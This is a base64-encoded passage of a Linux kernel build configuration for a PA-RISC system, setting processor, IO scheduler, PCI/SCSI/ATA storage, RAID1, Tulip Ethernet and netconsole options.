RklHX1NMVUI9eQojIENPTkZJR19TTE9CIGlzIG5vdCBzZXQKIyBDT05GSUdfUFJPRklMSU5HIGlz
IG5vdCBzZXQKQ09ORklHX0hBVkVfT1BST0ZJTEU9eQpDT05GSUdfVVNFX0dFTkVSSUNfU01QX0hF
TFBFUlM9eQojIENPTkZJR19IQVZFX0dFTkVSSUNfRE1BX0NPSEVSRU5UIGlzIG5vdCBzZXQKQ09O
RklHX1NMQUJJTkZPPXkKQ09ORklHX1JUX01VVEVYRVM9eQpDT05GSUdfQkFTRV9TTUFMTD0wCkNP
TkZJR19NT0RVTEVTPXkKIyBDT05GSUdfTU9EVUxFX0ZPUkNFX0xPQUQgaXMgbm90IHNldApDT05G
SUdfTU9EVUxFX1VOTE9BRD15CiMgQ09ORklHX01PRFVMRV9GT1JDRV9VTkxPQUQgaXMgbm90IHNl
dAojIENPTkZJR19NT0RWRVJTSU9OUyBpcyBub3Qgc2V0CiMgQ09ORklHX01PRFVMRV9TUkNWRVJT
SU9OX0FMTCBpcyBub3Qgc2V0CkNPTkZJR19JTklUX0FMTF9QT1NTSUJMRT15CkNPTkZJR19TVE9Q
X01BQ0hJTkU9eQpDT05GSUdfQkxPQ0s9eQojIENPTkZJR19MQkQgaXMgbm90IHNldAojIENPTkZJ
R19CTEtfREVWX0lPX1RSQUNFIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl9CU0cgaXMgbm90
IHNldAojIENPTkZJR19CTEtfREVWX0lOVEVHUklUWSBpcyBub3Qgc2V0CgojCiMgSU8gU2NoZWR1
bGVycwojCkNPTkZJR19JT1NDSEVEX05PT1A9eQojIENPTkZJR19JT1NDSEVEX0FTIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSU9TQ0hFRF9ERUFETElORSBpcyBub3Qgc2V0CkNPTkZJR19JT1NDSEVEX0NG
UT15CiMgQ09ORklHX0RFRkFVTFRfQVMgaXMgbm90IHNldAojIENPTkZJR19ERUZBVUxUX0RFQURM
SU5FIGlzIG5vdCBzZXQKQ09ORklHX0RFRkFVTFRfQ0ZRPXkKIyBDT05GSUdfREVGQVVMVF9OT09Q
IGlzIG5vdCBzZXQKQ09ORklHX0RFRkFVTFRfSU9TQ0hFRD0iY2ZxIgojIENPTkZJR19GUkVFWkVS
IGlzIG5vdCBzZXQKCiMKIyBQcm9jZXNzb3IgdHlwZSBhbmQgZmVhdHVyZXMKIwojIENPTkZJR19Q
QTcwMDAgaXMgbm90IHNldAojIENPTkZJR19QQTcxMDBMQyBpcyBub3Qgc2V0CiMgQ09ORklHX1BB
NzIwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBNzMwMExDIGlzIG5vdCBzZXQKQ09ORklHX1BBOFgw
MD15CkNPTkZJR19QQTIwPXkKQ09ORklHX1BSRUZFVENIPXkKIyBDT05GSUdfNjRCSVQgaXMgbm90
IHNldAojIENPTkZJR19QQVJJU0NfUEFHRV9TSVpFXzRLQiBpcyBub3Qgc2V0CkNPTkZJR19QQVJJ
U0NfUEFHRV9TSVpFXzE2S0I9eQojIENPTkZJR19QQVJJU0NfUEFHRV9TSVpFXzY0S0IgaXMgbm90
IHNldApDT05GSUdfU01QPXkKQ09ORklHX0hPVFBMVUdfQ1BVPXkKQ09ORklHX0FSQ0hfRkxBVE1F
TV9FTkFCTEU9eQojIENPTkZJR19QUkVFTVBUX05PTkUgaXMgbm90IHNldApDT05GSUdfUFJFRU1Q
VF9WT0xVTlRBUlk9eQojIENPTkZJR19QUkVFTVBUIGlzIG5vdCBzZXQKQ09ORklHX0haXzEwMD15
CiMgQ09ORklHX0haXzI1MCBpcyBub3Qgc2V0CiMgQ09ORklHX0haXzMwMCBpcyBub3Qgc2V0CiMg
Q09ORklHX0haXzEwMDAgaXMgbm90IHNldApDT05GSUdfSFo9MTAwCiMgQ09ORklHX1NDSEVEX0hS
VElDSyBpcyBub3Qgc2V0CkNPTkZJR19TRUxFQ1RfTUVNT1JZX01PREVMPXkKQ09ORklHX0ZMQVRN
RU1fTUFOVUFMPXkKIyBDT05GSUdfRElTQ09OVElHTUVNX01BTlVBTCBpcyBub3Qgc2V0CiMgQ09O
RklHX1NQQVJTRU1FTV9NQU5VQUwgaXMgbm90IHNldApDT05GSUdfRkxBVE1FTT15CkNPTkZJR19G
TEFUX05PREVfTUVNX01BUD15CkNPTkZJR19QQUdFRkxBR1NfRVhURU5ERUQ9eQpDT05GSUdfU1BM
SVRfUFRMT0NLX0NQVVM9NAojIENPTkZJR19QSFlTX0FERFJfVF82NEJJVCBpcyBub3Qgc2V0CkNP
TkZJR19aT05FX0RNQV9GTEFHPTAKQ09ORklHX1ZJUlRfVE9fQlVTPXkKQ09ORklHX1VORVZJQ1RB
QkxFX0xSVT15CiMgQ09ORklHX0hQVVggaXMgbm90IHNldApDT05GSUdfTlJfQ1BVUz00CgojCiMg
QnVzIG9wdGlvbnMgKFBDSSwgUENNQ0lBLCBFSVNBLCBHU0MsIElTQSkKIwpDT05GSUdfR1NDPXkK
IyBDT05GSUdfSFBQQiBpcyBub3Qgc2V0CiMgQ09ORklHX0lPTU1VX0NDSU8gaXMgbm90IHNldAoj
IENPTkZJR19HU0NfTEFTSSBpcyBub3Qgc2V0CiMgQ09ORklHX0dTQ19XQVggaXMgbm90IHNldAoj
IENPTkZJR19FSVNBIGlzIG5vdCBzZXQKQ09ORklHX1BDST15CiMgQ09ORklHX0FSQ0hfU1VQUE9S
VFNfTVNJIGlzIG5vdCBzZXQKIyBDT05GSUdfUENJX0xFR0FDWSBpcyBub3Qgc2V0CiMgQ09ORklH
X1BDSV9ERUJVRyBpcyBub3Qgc2V0CiMgQ09ORklHX1BDSV9TVFVCIGlzIG5vdCBzZXQKIyBDT05G
SUdfR1NDX0RJTk8gaXMgbm90IHNldApDT05GSUdfUENJX0xCQT15CkNPTkZJR19JT1NBUElDPXkK
Q09ORklHX0lPTU1VX1NCQT15CkNPTkZJR19JT01NVV9IRUxQRVI9eQojIENPTkZJR19QQ0NBUkQg
aXMgbm90IHNldAojIENPTkZJR19IT1RQTFVHX1BDSSBpcyBub3Qgc2V0CgojCiMgUEEtUklTQyBz
cGVjaWZpYyBkcml2ZXJzCiMKQ09ORklHX1NVUEVSSU89eQpDT05GSUdfQ0hBU1NJU19MQ0RfTEVE
PXkKQ09ORklHX1BEQ19DSEFTU0lTPXkKQ09ORklHX1BEQ19DSEFTU0lTX1dBUk49eQpDT05GSUdf
UERDX1NUQUJMRT15CgojCiMgRXhlY3V0YWJsZSBmaWxlIGZvcm1hdHMKIwpDT05GSUdfQklORk1U
X0VMRj15CiMgQ09ORklHX0NPUkVfRFVNUF9ERUZBVUxUX0VMRl9IRUFERVJTIGlzIG5vdCBzZXQK
IyBDT05GSUdfSEFWRV9BT1VUIGlzIG5vdCBzZXQKIyBDT05GSUdfQklORk1UX01JU0MgaXMgbm90
IHNldApDT05GSUdfTkVUPXkKCiMKIyBOZXR3b3JraW5nIG9wdGlvbnMKIwpDT05GSUdfQ09NUEFU
X05FVF9ERVZfT1BTPXkKQ09ORklHX1BBQ0tFVD15CiMgQ09ORklHX1BBQ0tFVF9NTUFQIGlzIG5v
dCBzZXQKQ09ORklHX1VOSVg9eQojIENPTkZJR19ORVRfS0VZIGlzIG5vdCBzZXQKQ09ORklHX0lO
RVQ9eQojIENPTkZJR19JUF9NVUxUSUNBU1QgaXMgbm90IHNldAojIENPTkZJR19JUF9BRFZBTkNF
RF9ST1VURVIgaXMgbm90IHNldApDT05GSUdfSVBfRklCX0hBU0g9eQojIENPTkZJR19JUF9QTlAg
aXMgbm90IHNldAojIENPTkZJR19ORVRfSVBJUCBpcyBub3Qgc2V0CiMgQ09ORklHX05FVF9JUEdS
RSBpcyBub3Qgc2V0CiMgQ09ORklHX0FSUEQgaXMgbm90IHNldAojIENPTkZJR19TWU5fQ09PS0lF
UyBpcyBub3Qgc2V0CiMgQ09ORklHX0lORVRfQUggaXMgbm90IHNldAojIENPTkZJR19JTkVUX0VT
UCBpcyBub3Qgc2V0CiMgQ09ORklHX0lORVRfSVBDT01QIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5F
VF9YRlJNX1RVTk5FTCBpcyBub3Qgc2V0CiMgQ09ORklHX0lORVRfVFVOTkVMIGlzIG5vdCBzZXQK
IyBDT05GSUdfSU5FVF9YRlJNX01PREVfVFJBTlNQT1JUIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5F
VF9YRlJNX01PREVfVFVOTkVMIGlzIG5vdCBzZXQKIyBDT05GSUdfSU5FVF9YRlJNX01PREVfQkVF
VCBpcyBub3Qgc2V0CkNPTkZJR19JTkVUX0xSTz15CiMgQ09ORklHX0lORVRfRElBRyBpcyBub3Qg
c2V0CiMgQ09ORklHX1RDUF9DT05HX0FEVkFOQ0VEIGlzIG5vdCBzZXQKQ09ORklHX1RDUF9DT05H
X0NVQklDPXkKQ09ORklHX0RFRkFVTFRfVENQX0NPTkc9ImN1YmljIgojIENPTkZJR19UQ1BfTUQ1
U0lHIGlzIG5vdCBzZXQKIyBDT05GSUdfSVBWNiBpcyBub3Qgc2V0CiMgQ09ORklHX05FVFdPUktf
U0VDTUFSSyBpcyBub3Qgc2V0CiMgQ09ORklHX05FVEZJTFRFUiBpcyBub3Qgc2V0CiMgQ09ORklH
X0lQX0RDQ1AgaXMgbm90IHNldAojIENPTkZJR19JUF9TQ1RQIGlzIG5vdCBzZXQKIyBDT05GSUdf
VElQQyBpcyBub3Qgc2V0CiMgQ09ORklHX0FUTSBpcyBub3Qgc2V0CiMgQ09ORklHX0JSSURHRSBp
cyBub3Qgc2V0CiMgQ09ORklHX05FVF9EU0EgaXMgbm90IHNldAojIENPTkZJR19WTEFOXzgwMjFR
IGlzIG5vdCBzZXQKIyBDT05GSUdfREVDTkVUIGlzIG5vdCBzZXQKIyBDT05GSUdfTExDMiBpcyBu
b3Qgc2V0CiMgQ09ORklHX0lQWCBpcyBub3Qgc2V0CiMgQ09ORklHX0FUQUxLIGlzIG5vdCBzZXQK
IyBDT05GSUdfWDI1IGlzIG5vdCBzZXQKIyBDT05GSUdfTEFQQiBpcyBub3Qgc2V0CiMgQ09ORklH
X0VDT05FVCBpcyBub3Qgc2V0CiMgQ09ORklHX1dBTl9ST1VURVIgaXMgbm90IHNldAojIENPTkZJ
R19ORVRfU0NIRUQgaXMgbm90IHNldAojIENPTkZJR19EQ0IgaXMgbm90IHNldAoKIwojIE5ldHdv
cmsgdGVzdGluZwojCiMgQ09ORklHX05FVF9QS1RHRU4gaXMgbm90IHNldAojIENPTkZJR19IQU1S
QURJTyBpcyBub3Qgc2V0CiMgQ09ORklHX0NBTiBpcyBub3Qgc2V0CiMgQ09ORklHX0lSREEgaXMg
bm90IHNldAojIENPTkZJR19CVCBpcyBub3Qgc2V0CiMgQ09ORklHX0FGX1JYUlBDIGlzIG5vdCBz
ZXQKIyBDT05GSUdfUEhPTkVUIGlzIG5vdCBzZXQKIyBDT05GSUdfV0lSRUxFU1MgaXMgbm90IHNl
dAojIENPTkZJR19XSU1BWCBpcyBub3Qgc2V0CiMgQ09ORklHX1JGS0lMTCBpcyBub3Qgc2V0CiMg
Q09ORklHX05FVF85UCBpcyBub3Qgc2V0CgojCiMgRGV2aWNlIERyaXZlcnMKIwoKIwojIEdlbmVy
aWMgRHJpdmVyIE9wdGlvbnMKIwpDT05GSUdfVUVWRU5UX0hFTFBFUl9QQVRIPSIvc2Jpbi9ob3Rw
bHVnIgpDT05GSUdfU1RBTkRBTE9ORT15CkNPTkZJR19QUkVWRU5UX0ZJUk1XQVJFX0JVSUxEPXkK
Q09ORklHX0ZXX0xPQURFUj15CkNPTkZJR19GSVJNV0FSRV9JTl9LRVJORUw9eQpDT05GSUdfRVhU
UkFfRklSTVdBUkU9IiIKIyBDT05GSUdfREVCVUdfRFJJVkVSIGlzIG5vdCBzZXQKIyBDT05GSUdf
REVCVUdfREVWUkVTIGlzIG5vdCBzZXQKIyBDT05GSUdfU1lTX0hZUEVSVklTT1IgaXMgbm90IHNl
dAojIENPTkZJR19DT05ORUNUT1IgaXMgbm90IHNldAojIENPTkZJR19NVEQgaXMgbm90IHNldAoj
IENPTkZJR19QQVJQT1JUIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVY9eQojIENPTkZJR19CTEtf
Q1BRX0RBIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0NQUV9DSVNTX0RBIGlzIG5vdCBzZXQKIyBD
T05GSUdfQkxLX0RFVl9EQUM5NjAgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1VNRU0gaXMg
bm90IHNldAojIENPTkZJR19CTEtfREVWX0NPV19DT01NT04gaXMgbm90IHNldApDT05GSUdfQkxL
X0RFVl9MT09QPXkKIyBDT05GSUdfQkxLX0RFVl9DUllQVE9MT09QIGlzIG5vdCBzZXQKIyBDT05G
SUdfQkxLX0RFVl9OQkQgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1NYOCBpcyBub3Qgc2V0
CiMgQ09ORklHX0JMS19ERVZfVUIgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX1JBTSBpcyBu
b3Qgc2V0CiMgQ09ORklHX0NEUk9NX1BLVENEVkQgaXMgbm90IHNldAojIENPTkZJR19BVEFfT1ZF
Ul9FVEggaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0hEIGlzIG5vdCBzZXQKIyBDT05GSUdf
TUlTQ19ERVZJQ0VTIGlzIG5vdCBzZXQKQ09ORklHX0hBVkVfSURFPXkKIyBDT05GSUdfSURFIGlz
IG5vdCBzZXQKCiMKIyBTQ1NJIGRldmljZSBzdXBwb3J0CiMKIyBDT05GSUdfUkFJRF9BVFRSUyBp
cyBub3Qgc2V0CkNPTkZJR19TQ1NJPXkKQ09ORklHX1NDU0lfRE1BPXkKIyBDT05GSUdfU0NTSV9U
R1QgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX05FVExJTksgaXMgbm90IHNldApDT05GSUdfU0NT
SV9QUk9DX0ZTPXkKCiMKIyBTQ1NJIHN1cHBvcnQgdHlwZSAoZGlzaywgdGFwZSwgQ0QtUk9NKQoj
CkNPTkZJR19CTEtfREVWX1NEPXkKIyBDT05GSUdfQ0hSX0RFVl9TVCBpcyBub3Qgc2V0CiMgQ09O
RklHX0NIUl9ERVZfT1NTVCBpcyBub3Qgc2V0CkNPTkZJR19CTEtfREVWX1NSPXkKIyBDT05GSUdf
QkxLX0RFVl9TUl9WRU5ET1IgaXMgbm90IHNldApDT05GSUdfQ0hSX0RFVl9TRz15CiMgQ09ORklH
X0NIUl9ERVZfU0NIIGlzIG5vdCBzZXQKCiMKIyBTb21lIFNDU0kgZGV2aWNlcyAoZS5nLiBDRCBq
dWtlYm94KSBzdXBwb3J0IG11bHRpcGxlIExVTnMKIwojIENPTkZJR19TQ1NJX01VTFRJX0xVTiBp
cyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQ09OU1RBTlRTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NT
SV9MT0dHSU5HIGlzIG5vdCBzZXQKQ09ORklHX1NDU0lfU0NBTl9BU1lOQz15CkNPTkZJR19TQ1NJ
X1dBSVRfU0NBTj1tCgojCiMgU0NTSSBUcmFuc3BvcnRzCiMKQ09ORklHX1NDU0lfU1BJX0FUVFJT
PXkKIyBDT05GSUdfU0NTSV9GQ19BVFRSUyBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfSVNDU0lf
QVRUUlMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1NBU19MSUJTQVMgaXMgbm90IHNldAojIENP
TkZJR19TQ1NJX1NSUF9BVFRSUyBpcyBub3Qgc2V0CkNPTkZJR19TQ1NJX0xPV0xFVkVMPXkKIyBD
T05GSUdfSVNDU0lfVENQIGlzIG5vdCBzZXQKIyBDT05GSUdfQkxLX0RFVl8zV19YWFhYX1JBSUQg
aXMgbm90IHNldAojIENPTkZJR19TQ1NJXzNXXzlYWFggaXMgbm90IHNldAojIENPTkZJR19TQ1NJ
X0FDQVJEIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BQUNSQUlEIGlzIG5vdCBzZXQKIyBDT05G
SUdfU0NTSV9BSUM3WFhYIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9BSUM3WFhYX09MRCBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlDNzlYWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfQUlD
OTRYWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfRFBUX0kyTyBpcyBub3Qgc2V0CiMgQ09ORklH
X1NDU0lfQURWQU5TWVMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0FSQ01TUiBpcyBub3Qgc2V0
CiMgQ09ORklHX01FR0FSQUlEX05FV0dFTiBpcyBub3Qgc2V0CiMgQ09ORklHX01FR0FSQUlEX0xF
R0FDWSBpcyBub3Qgc2V0CiMgQ09ORklHX01FR0FSQUlEX1NBUyBpcyBub3Qgc2V0CiMgQ09ORklH
X1NDU0lfSFBUSU9QIGlzIG5vdCBzZXQKIyBDT05GSUdfTElCRkMgaXMgbm90IHNldAojIENPTkZJ
R19GQ09FIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9ETVgzMTkxRCBpcyBub3Qgc2V0CiMgQ09O
RklHX1NDU0lfRlVUVVJFX0RPTUFJTiBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfSVBTIGlzIG5v
dCBzZXQKIyBDT05GSUdfU0NTSV9JTklUSU8gaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0lOSUEx
MDAgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX01WU0FTIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NT
SV9MQVNJNzAwIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9TVEVYIGlzIG5vdCBzZXQKQ09ORklH
X1NDU0lfU1lNNTNDOFhYXzI9eQpDT05GSUdfU0NTSV9TWU01M0M4WFhfRE1BX0FERFJFU1NJTkdf
TU9ERT0xCkNPTkZJR19TQ1NJX1NZTTUzQzhYWF9ERUZBVUxUX1RBR1M9MTYKQ09ORklHX1NDU0lf
U1lNNTNDOFhYX01BWF9UQUdTPTY0CkNPTkZJR19TQ1NJX1NZTTUzQzhYWF9NTUlPPXkKIyBDT05G
SUdfU0NTSV9JUFIgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1pBTE9OIGlzIG5vdCBzZXQKIyBD
T05GSUdfU0NTSV9RTE9HSUNfMTI4MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NDU0lfUUxBX0ZDIGlz
IG5vdCBzZXQKIyBDT05GSUdfU0NTSV9RTEFfSVNDU0kgaXMgbm90IHNldAojIENPTkZJR19TQ1NJ
X0xQRkMgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX0RDMzk1eCBpcyBub3Qgc2V0CiMgQ09ORklH
X1NDU0lfREMzOTBUIGlzIG5vdCBzZXQKIyBDT05GSUdfU0NTSV9OU1AzMiBpcyBub3Qgc2V0CiMg
Q09ORklHX1NDU0lfREVCVUcgaXMgbm90IHNldAojIENPTkZJR19TQ1NJX1NSUCBpcyBub3Qgc2V0
CiMgQ09ORklHX1NDU0lfREggaXMgbm90IHNldApDT05GSUdfQVRBPXkKIyBDT05GSUdfQVRBX05P
TlNUQU5EQVJEIGlzIG5vdCBzZXQKQ09ORklHX1NBVEFfUE1QPXkKIyBDT05GSUdfU0FUQV9BSENJ
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9TSUwyNCBpcyBub3Qgc2V0CkNPTkZJR19BVEFfU0ZG
PXkKIyBDT05GSUdfU0FUQV9TVlcgaXMgbm90IHNldAojIENPTkZJR19BVEFfUElJWCBpcyBub3Qg
c2V0CiMgQ09ORklHX1NBVEFfTVYgaXMgbm90IHNldAojIENPTkZJR19TQVRBX05WIGlzIG5vdCBz
ZXQKIyBDT05GSUdfUERDX0FETUEgaXMgbm90IHNldAojIENPTkZJR19TQVRBX1FTVE9SIGlzIG5v
dCBzZXQKIyBDT05GSUdfU0FUQV9QUk9NSVNFIGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9TWDQg
aXMgbm90IHNldAojIENPTkZJR19TQVRBX1NJTCBpcyBub3Qgc2V0CiMgQ09ORklHX1NBVEFfU0lT
IGlzIG5vdCBzZXQKIyBDT05GSUdfU0FUQV9VTEkgaXMgbm90IHNldAojIENPTkZJR19TQVRBX1ZJ
QSBpcyBub3Qgc2V0CiMgQ09ORklHX1NBVEFfVklURVNTRSBpcyBub3Qgc2V0CiMgQ09ORklHX1NB
VEFfSU5JQzE2MlggaXMgbm90IHNldAojIENPTkZJR19QQVRBX0FMSSBpcyBub3Qgc2V0CiMgQ09O
RklHX1BBVEFfQU1EIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9BUlRPUCBpcyBub3Qgc2V0CiMg
Q09ORklHX1BBVEFfQVRJSVhQIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9DTUQ2NDBfUENJIGlz
IG5vdCBzZXQKIyBDT05GSUdfUEFUQV9DTUQ2NFggaXMgbm90IHNldAojIENPTkZJR19QQVRBX0NT
NTUyMCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfQ1M1NTMwIGlzIG5vdCBzZXQKIyBDT05GSUdf
UEFUQV9DWVBSRVNTIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9FRkFSIGlzIG5vdCBzZXQKIyBD
T05GSUdfQVRBX0dFTkVSSUMgaXMgbm90IHNldAojIENPTkZJR19QQVRBX0hQVDM2NiBpcyBub3Qg
c2V0CiMgQ09ORklHX1BBVEFfSFBUMzdYIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9IUFQzWDJO
IGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9IUFQzWDMgaXMgbm90IHNldAojIENPTkZJR19QQVRB
X0lUODIxWCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfSVQ4MjEzIGlzIG5vdCBzZXQKIyBDT05G
SUdfUEFUQV9KTUlDUk9OIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9UUklGTEVYIGlzIG5vdCBz
ZXQKIyBDT05GSUdfUEFUQV9NQVJWRUxMIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9NUElJWCBp
cyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfT0xEUElJWCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFf
TkVUQ0VMTCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfTklOSkEzMiBpcyBub3Qgc2V0CiMgQ09O
RklHX1BBVEFfTlM4NzQxMCBpcyBub3Qgc2V0CkNPTkZJR19QQVRBX05TODc0MTU9eQojIENPTkZJ
R19QQVRBX09QVEkgaXMgbm90IHNldAojIENPTkZJR19QQVRBX09QVElETUEgaXMgbm90IHNldAoj
IENPTkZJR19QQVRBX1BEQ19PTEQgaXMgbm90IHNldAojIENPTkZJR19QQVRBX1JBRElTWVMgaXMg
bm90IHNldAojIENPTkZJR19QQVRBX1JaMTAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1BBVEFfU0Mx
MjAwIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9TRVJWRVJXT1JLUyBpcyBub3Qgc2V0CiMgQ09O
RklHX1BBVEFfUERDMjAyN1ggaXMgbm90IHNldAojIENPTkZJR19QQVRBX1NJTDY4MCBpcyBub3Qg
c2V0CiMgQ09ORklHX1BBVEFfU0lTIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFUQV9WSUEgaXMgbm90
IHNldAojIENPTkZJR19QQVRBX1dJTkJPTkQgaXMgbm90IHNldAojIENPTkZJR19QQVRBX1NDSCBp
cyBub3Qgc2V0CkNPTkZJR19NRD15CkNPTkZJR19CTEtfREVWX01EPXkKQ09ORklHX01EX0FVVE9E
RVRFQ1Q9eQojIENPTkZJR19NRF9MSU5FQVIgaXMgbm90IHNldAojIENPTkZJR19NRF9SQUlEMCBp
cyBub3Qgc2V0CkNPTkZJR19NRF9SQUlEMT15CiMgQ09ORklHX01EX1JBSUQxMCBpcyBub3Qgc2V0
CiMgQ09ORklHX01EX1JBSUQ0NTYgaXMgbm90IHNldAojIENPTkZJR19NRF9NVUxUSVBBVEggaXMg
bm90IHNldAojIENPTkZJR19NRF9GQVVMVFkgaXMgbm90IHNldAojIENPTkZJR19CTEtfREVWX0RN
IGlzIG5vdCBzZXQKIyBDT05GSUdfRlVTSU9OIGlzIG5vdCBzZXQKCiMKIyBJRUVFIDEzOTQgKEZp
cmVXaXJlKSBzdXBwb3J0CiMKCiMKIyBFbmFibGUgb25seSBvbmUgb2YgdGhlIHR3byBzdGFja3Ms
IHVubGVzcyB5b3Uga25vdyB3aGF0IHlvdSBhcmUgZG9pbmcKIwojIENPTkZJR19GSVJFV0lSRSBp
cyBub3Qgc2V0CiMgQ09ORklHX0lFRUUxMzk0IGlzIG5vdCBzZXQKIyBDT05GSUdfSTJPIGlzIG5v
dCBzZXQKQ09ORklHX05FVERFVklDRVM9eQojIENPTkZJR19EVU1NWSBpcyBub3Qgc2V0CiMgQ09O
RklHX0JPTkRJTkcgaXMgbm90IHNldAojIENPTkZJR19NQUNWTEFOIGlzIG5vdCBzZXQKIyBDT05G
SUdfRVFVQUxJWkVSIGlzIG5vdCBzZXQKIyBDT05GSUdfVFVOIGlzIG5vdCBzZXQKIyBDT05GSUdf
VkVUSCBpcyBub3Qgc2V0CiMgQ09ORklHX0FSQ05FVCBpcyBub3Qgc2V0CiMgQ09ORklHX1BIWUxJ
QiBpcyBub3Qgc2V0CkNPTkZJR19ORVRfRVRIRVJORVQ9eQpDT05GSUdfTUlJPXkKIyBDT05GSUdf
TEFTSV84MjU5NiBpcyBub3Qgc2V0CiMgQ09ORklHX0hBUFBZTUVBTCBpcyBub3Qgc2V0CiMgQ09O
RklHX1NVTkdFTSBpcyBub3Qgc2V0CiMgQ09ORklHX0NBU1NJTkkgaXMgbm90IHNldAojIENPTkZJ
R19ORVRfVkVORE9SXzNDT00gaXMgbm90IHNldApDT05GSUdfTkVUX1RVTElQPXkKIyBDT05GSUdf
REUyMTA0WCBpcyBub3Qgc2V0CkNPTkZJR19UVUxJUD15CkNPTkZJR19UVUxJUF9NV0k9eQpDT05G
SUdfVFVMSVBfTU1JTz15CkNPTkZJR19UVUxJUF9OQVBJPXkKQ09ORklHX1RVTElQX05BUElfSFdf
TUlUSUdBVElPTj15CiMgQ09ORklHX0RFNFg1IGlzIG5vdCBzZXQKIyBDT05GSUdfV0lOQk9ORF84
NDAgaXMgbm90IHNldAojIENPTkZJR19ETTkxMDIgaXMgbm90IHNldAojIENPTkZJR19VTEk1MjZY
IGlzIG5vdCBzZXQKIyBDT05GSUdfSFAxMDAgaXMgbm90IHNldAojIENPTkZJR19JQk1fTkVXX0VN
QUNfWk1JSSBpcyBub3Qgc2V0CiMgQ09ORklHX0lCTV9ORVdfRU1BQ19SR01JSSBpcyBub3Qgc2V0
CiMgQ09ORklHX0lCTV9ORVdfRU1BQ19UQUggaXMgbm90IHNldAojIENPTkZJR19JQk1fTkVXX0VN
QUNfRU1BQzQgaXMgbm90IHNldAojIENPTkZJR19JQk1fTkVXX0VNQUNfTk9fRkxPV19DVFJMIGlz
IG5vdCBzZXQKIyBDT05GSUdfSUJNX05FV19FTUFDX01BTF9DTFJfSUNJTlRTVEFUIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSUJNX05FV19FTUFDX01BTF9DT01NT05fRVJSIGlzIG5vdCBzZXQKIyBDT05G
SUdfTkVUX1BDSSBpcyBub3Qgc2V0CiMgQ09ORklHX0I0NCBpcyBub3Qgc2V0CiMgQ09ORklHX0FU
TDIgaXMgbm90IHNldAojIENPTkZJR19ORVRERVZfMTAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX05F
VERFVl8xMDAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1RSIGlzIG5vdCBzZXQKCiMKIyBXaXJlbGVz
cyBMQU4KIwojIENPTkZJR19XTEFOX1BSRTgwMjExIGlzIG5vdCBzZXQKIyBDT05GSUdfV0xBTl84
MDIxMSBpcyBub3Qgc2V0CiMgQ09ORklHX0lXTFdJRklfTEVEUyBpcyBub3Qgc2V0CgojCiMgRW5h
YmxlIFdpTUFYIChOZXR3b3JraW5nIG9wdGlvbnMpIHRvIHNlZSB0aGUgV2lNQVggZHJpdmVycwoj
CgojCiMgVVNCIE5ldHdvcmsgQWRhcHRlcnMKIwojIENPTkZJR19VU0JfQ0FUQyBpcyBub3Qgc2V0
CiMgQ09ORklHX1VTQl9LQVdFVEggaXMgbm90IHNldAojIENPTkZJR19VU0JfUEVHQVNVUyBpcyBu
b3Qgc2V0CiMgQ09ORklHX1VTQl9SVEw4MTUwIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1VTQk5F
VCBpcyBub3Qgc2V0CiMgQ09ORklHX1dBTiBpcyBub3Qgc2V0CiMgQ09ORklHX0ZEREkgaXMgbm90
IHNldAojIENPTkZJR19ISVBQSSBpcyBub3Qgc2V0CiMgQ09ORklHX1BQUCBpcyBub3Qgc2V0CiMg
Q09ORklHX1NMSVAgaXMgbm90IHNldAojIENPTkZJR19ORVRfRkMgaXMgbm90IHNldApDT05GSUdf
TkVUQ09OU09MRT15CkNPTkZJR19ORVRDT05TT0xFX0RZTkFNSUM9eQpDT05GSUdfTkVUUE9MTD15
CkNPTkZJR19ORVRQT0xMX1RSQVA9eQpDT05GSUdfTkVUX1BPTExfQ09OVFJPTExFUj15CiMgQ09O
